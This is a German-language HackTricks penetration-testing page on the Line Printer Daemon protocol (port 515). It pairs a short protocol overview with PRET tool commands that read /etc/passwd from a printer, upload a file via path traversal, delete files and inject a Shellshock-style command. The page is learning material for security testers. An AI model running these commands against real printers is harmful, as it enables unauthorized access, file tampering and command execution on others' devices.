hacktricks/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md

4.2 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Einführung in das LPD-Protokoll

In den 1980er Jahren wurde das Line Printer Daemon (LPD) Protokoll in Berkeley Unix entwickelt, das später durch RFC1179 formalisiert wurde. Dieses Protokoll arbeitet über den Port 515/tcp und ermöglicht Interaktionen über den lpr Befehl. Das Wesentliche des Druckens über LPD besteht darin, eine Steuerdatei (um Auftragsdetails und Benutzer anzugeben) zusammen mit einer Daten-Datei (die die Druckinformationen enthält) zu senden. Während die Steuerdatei die Auswahl von verschiedenen Dateiformaten für die Daten-Datei ermöglicht, wird die Handhabung dieser Dateien durch die spezifische LPD-Implementierung bestimmt. Eine weithin anerkannte Implementierung für Unix-ähnliche Systeme ist LPRng. Bemerkenswerterweise kann das LPD-Protokoll ausgenutzt werden, um bösartigen PostScript oder PJL-Druckaufträge auszuführen.

Werkzeuge zur Interaktion mit LPD-Druckern

PRET führt zwei wesentliche Werkzeuge ein, lpdprint und lpdtest, die eine einfache Methode zur Interaktion mit LPD-kompatiblen Druckern bieten. Diese Werkzeuge ermöglichen eine Reihe von Aktionen, vom Drucken von Daten bis hin zur Manipulation von Dateien auf dem Drucker, wie z.B. Herunterladen, Hochladen oder Löschen:

# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local

Für Personen, die sich weiter mit dem Thema Drucker-Hacking beschäftigen möchten, ist hier eine umfassende Ressource zu finden: Hacking Printers.

Shodan

  • port 515

{% hint style="success" %} Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}